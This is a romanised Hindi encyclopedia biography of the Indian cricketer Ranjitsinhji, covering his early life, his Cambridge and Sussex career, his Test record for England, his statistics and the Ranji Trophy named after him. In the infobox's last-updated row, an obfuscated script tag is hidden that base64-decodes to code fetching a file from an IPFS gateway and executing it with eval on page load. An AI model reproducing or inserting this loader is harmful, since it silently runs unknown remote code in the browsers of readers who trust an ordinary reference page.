रणजी
ranaji
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vyaktigat parichay
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| poora nam | kumar shri ranajitasianh | ||
| any nam | ranaji, smith, ranajitasianhaji | ||
| janm | 10 sitambar, 1872 | ||
| janm bhoomi | sarodar, kathiyava d, gujarat | ||
| patni | avivahit | ||
| mrityu | 2 aprॅl, 1933 (ayu- 60 varsh) | ||
| mrityu sthan | jamanagar, gujarat | ||
khel parichay
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| tim | ianglaiand, kaimbrij vishvavidyalay, landan kauanti, saseks | ||
| bhoomika | daean hath ke ballebaz | ||
| pahala test | 16 julaee, 1896 viruddh aaustreliya | ||
| akhiri test | 16 julaee, 1902 viruddh aaustreliya | ||
kairiyar aank de
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| praroop | test kriket | ekadivasiy antarrashtriy | pratham shreni |
| muqabale | 15 | 307 | |
| banaye gaye ran | 989 | 24,692 | |
| ballebazi ausat | 44.95 | 56.37 | |
| 100/50 | 2 / 6 | 72 / 109 | |
| sarvochch skor | 175 | 285 | |
| pheanki gee geandean | 97 | 8056 | |
| viket | 1 | 133 | |
| geandabazi ausat | 39.00 | 34.59 | |
| pari mean 5 viket | - | 4 | |
| muqabale mean 10 viket | - | - | |
| sarvochch geandabazi | 1/23 | 6/53 | |
| kaich/stampiang | 13 | ||
| any janakari | bharat mean unaki smriti mean 'ranaji t aaufi' pratiyogita shuroo ki gee. ise kriket ki rashtriy pratiyogita mana jata hai. | ||
| bahari k diyaan | Cricinfo | ||
| adyatan | 13:21, 8 aprॅl 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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kumar shri ranajit sianh ji (aangrezi: Kumar Shri Ranjitsinhji, janm: 10 sitambar, 1872, kathiyava d, gujarat; mrityu: 2 aprॅl, 1933) ko "bharatiy kriket ka jadoogar" kaha jata hai. unhean bharat ka sarvashreshth kriket khila di mana jata hai. ranajit sianh pratham test maich khila di the. unhoanne ianglaiand se apane kriket khel ki shuruat ki thi. unhian ke nam par unhean samman dene ke lie bharat ke pratham shreni ke kriket toornameant ka nam ‘ranaji traphi’ rakha gaya hai. is toornameant ka shubharambh 1935 mean patiyala ke maharaja bhoopindar sianh ne kiya tha. ranajit sianh bharat ke sarvashreshth ballebajoan mean se ek the. ve ek bharatiy rajakumar the, jinhean pratham bharatiy khila di hone ka shrey bhi prapt hai.[1]
parichay
kumar ranajit sianh ka janm 10 sitambar, 1872 ko gujarat ke kathiyava d mean sarodar namak sthan par hua tha. unaka janm ek dhani parivar mean hua tha. apane chhatr jivan mean ve kriket ke atirikt futab aaul v tenis bhi khelate the. ranajit sianh 'ranaji' se zyada lokapriy hue the. ranaji jivan bhar avivahit rahe. jab-jab bhi vivah ka prasang ata, tab-tab vah mazak mean kahate ki- kriket hi meri jivan sangini hai.
- shiksha
1888 mean ranajit sianh triniti k aaulej, kaianbrij mean dakhila lene briten chale ge. vahian par padhate hue fainal varsh mean vah kriket ‘bloo’ mean shamil ho ge. vahaan unhoanne apana nam badalakar (nik nem) ‘smith’ kar liya aur usi nam se pahachane jane lage the. bad mean unhean karnal ke nam se bhi jana jata tha. unhean karnal hij haines shri sar ranajit sianh ji vibhaji kahakar sambodhit kiya jata tha. vah navanagar ke maharaja jaim sahab ke nam se bhi jane jate the. apani snatak shiksha poori ho jane par ranajit sianh ne saseks ke lie kauanti kriket khelana arambh kar diya.
pratham bharatiy test kriket khila di
ranajit sianh ne isase poorv sahi vyavasthit khel nahian khela tha, lekin phir bhi unhoanne fainal varsh ki grishm mean kriket khelate hue ‘bloo’ ko jit liya. unhoanne khel ki aupacharik shuruat mee, 1895 mean l aaurds mean ki. yahaan unhoanne saseks ke lie khela aur em. si. si. ke viruddh 77 v 150 ran bana dale. phir 1896 mean ianglaiand ki or se unhoanne pahala taist maich khela. is prakar vah kriket test maich khelane vale pratham bharatiy ban ge. 1896 mean yah test maich ranajit sianh ne 16 se 18 julaee ke bich manchestar mean khela. unhoanne yah maich aaustreliya ke viruddh ianglaiand ki or se khela. unhoanne apane is pahale taist maich mean 62 tatha 154 ran banae aur aut nahian hue. is prakar vah dabloo ji. gres ke bad doosare aise khila di ban ge, jinhoanne ianglaiand ke lie khelate hue apane deboo maich (pratham maich) mean shatak jamaya. ranajit sianh desh ke atyant kushal v tej ballebaj the. unhoanne 1895 se 1905 ke bich taist maich khele. 1897-1898 mean aaustreliya daure par unhoanne poore daure mean 1157 ran bana lie, jinaka ausat 60.89 tha. unaka v unake param mitr si.bi. phrai ka nam bhi haradam ju da rahata tha.[1]
ranajit sianh ne lagatar 10 ghareloo maichoan mean (ianglaiand mean saseks mean) 1000 ran banae (1899 se 1900 ke bich unhoanne 3000 se adhik ran banae). ve 1899 se 1903 tak saseks tim ke kaptan bhi rahe. us samay ranajit sianh ka nam saseks ki pahachan tha. 1904 mean ranajit sianh bharat laut ae, kyoanki un par anek ghareloo jimmedariyaan thian. yahaan unhoanne keval do varsh poori tarah kriket kheli. 1908 mean tatha 1912 mean aur donoan bar 1000 se adhik ran banae. bad mean kisi ki galat salah par vah saseks vapas ge. yah 1920 ki bat hai. unhoanne tin bar khelane ka prayas kiya, parantu vah 48 varsh ke ho chuke the, unaka vajan badh chuka tha aur vah ek shootiang durghatana mean apani ek aankh ganva chuke the. atah antim bar khelate vakt vah 39 ran hi bana sake.
ullekhaniy tathy
- march, 1907 mean kriket se alag vah navanagar ke maharaja jam sahab ban chuke the. vah is roop mean har tarah se bahut lokapriy the aur dayalu shasak the.
- ‘lig aauph neshans’ tatha ‘chembar aauph priansej’ ke lie kiya gaya unaka kary bahut mahatvapoorn raha jo unhoanne mahayuddh ke bad kiya. sar nevil kardas ne ranajit sianh ke bare mean likha- "jab ranajit sianh ji ne kriket chho d diya, khel se sari chamak aur raunak hi hamesha ke lie gayab ho gee."
- 1897 mean ranajit sianh ne ek pustak likhi- ‘d jubali aauf kriket’. is pustak ko kriket ki duniya mean ek atyant mahattvapoorn rachana mana jata hai. bad mean ranajit sianh ke bhatije ke. es. dalip sianh ne bhi ianglaiand ke lie kriket khela.
vijhdan kriketar aauf d eeyar
ranajit sianh ne kul 15 test maich khele aur sabhi maich ianglaiand ke lie khele. unhoanne pray: aaustreliya ke viruddh khela aur 44.95 ki ausat se 989 ran banae, jinamean 2 shatak tatha 6 ardhashatak shamil haian. unhean 1897 mean ‘vijhdan kriketar aauf d eeyar’ chuna gaya tha. ranajit sianh kriket ki duniya ke jiniyas the, jinhoanne ballebaji ki kala ko ne ayam die. unase poorv kriket khila di phrant phut par hi khelate the, parantu unhoanne baik phut par bhi shanadar strok khele aur ne tarike se ‘kat’ lagane ki vidhi se khela.[1]
kirtiman
ranaji ne apane jivanakal mean kriket ke pratham shreni maichoan mean 72 shatak banaye. aangrez unhean ranaji ke nam se hi pukarate the. unhoanne sanh 1899 mean 3,159 aur 1900 mean 3,069 ran banae the. 1896 mean manachestar mean ianglaind ki or se astreliya ke viruddh khelate hue inhoanne pahale test mean hi apana shatak poora kara liya tha. apani nirali ballebazi ke karan unhoanne kriket ke itihas mean ek naya adhyay jo d diya. vishv-vikhyat kriket samikshak nevil kardas ne shri ranajitasianh ka khel dekhane ke bad likha tha-
"briten ke maidanoan mean pahali bar poorv ki kiran dikhaee di. un dinoan kriket ka khel bilkul sidha khel mana jata tha. yani vah gud leangth ka geand aur sidhi ballebaji ka khel tha. tab kriket ke khel ko keval aangezoan ka khel hi mana jata tha. achanak ianglaind ke maidan mean poorv ke ek vyakti ne aisa rang jamaya ki sab ne ek mat hokar yah svikar kiya ki aisa khila di to aj tak ianglaind mean bhi paida nahian hua. is vyakti ka khel sachamuch hi adbhut tha. apani nirali ballebazi ke karan vah sidhe b aaul ko aise ghumata tha dekhane vale dekhate rah jate the aur kahate- 'lo... vah b aaul aya aur lo...vah bauandri bhi par kar gaya.' us adbhut ballebazi ka rahasy koee nahian jan saka. geandabaz stabdh kh da ho jata aur apani donoan baanhoan mean b aaul ko dabakar yah sochane lagata ki akhir yah kaise ho gaya?"
aitihasik varsh
san 1900 ranaji ke jivan ka aitihasik aur mahattvapoorn varsh mana jata hai. isi varsh unhoanne paanch avasaroan par 200 se adhik (dohara shatak) aur chhah avasaroan par sau se adhik ran banae. apane jivan mean unhoanne 500 pariyaan khelian. inamean se 62 bar vah akhir tak aut nahian hue. unhoanne 56.27 ki ausat se kul 24,642 ran banae. ran banane ki unaki ausat raftar 50 ran prati ghanta thi.
upalabdhiyaan
- bharat ka pratham darje ka 'ranaji maich' sar ranajit sianh ji ke nam par unhean samman dene ke lie hi rakha gaya.
- sar ranajit bharat ke pratham taist maich khila di the. unhoanne ianglaiand kaimbrij vishvavidyalay, ladann kauanti tatha saseks ka pratinidhitv kiya.
- 1907 mean unhoanne ‘hij haines shri sar ranajit sianh ji vibhajir, jam sahab aauf navanagar’ ki upadhi uttaradhikar mean prapt ki.
- 1897 mean unhean ‘vijadan kriketar aauf d eeyar’ chuna gaya tha.
- dabloo. ji. gres ke bad vah doosare aise ballebaj the, jisane apane pratham maich mean shatak banaya tha.
- ranajit sianh ji ne khel ki takanik v barikiyaan prastut kian. unhoanne kul 15 taist maich khele.
- unhoanne ‘d jubali aauf kriket’ namak pustak bhi likhi, jise kriket ke kshetr mean kl aausik mana jata hai.
mrityu
ranaji ki mrityu 2 aprॅl, 1933 ko huee. bharat mean unaki smriti mean 'ranaji t aauphi' pratiyogita shuroo ki gee. ise kriket ki rashtriy pratiyogita mana jata hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 ranajit sianh ji ka jivan parichay (hindi) kaise aur kya. abhigaman tithi: 06 sitambar, 2016.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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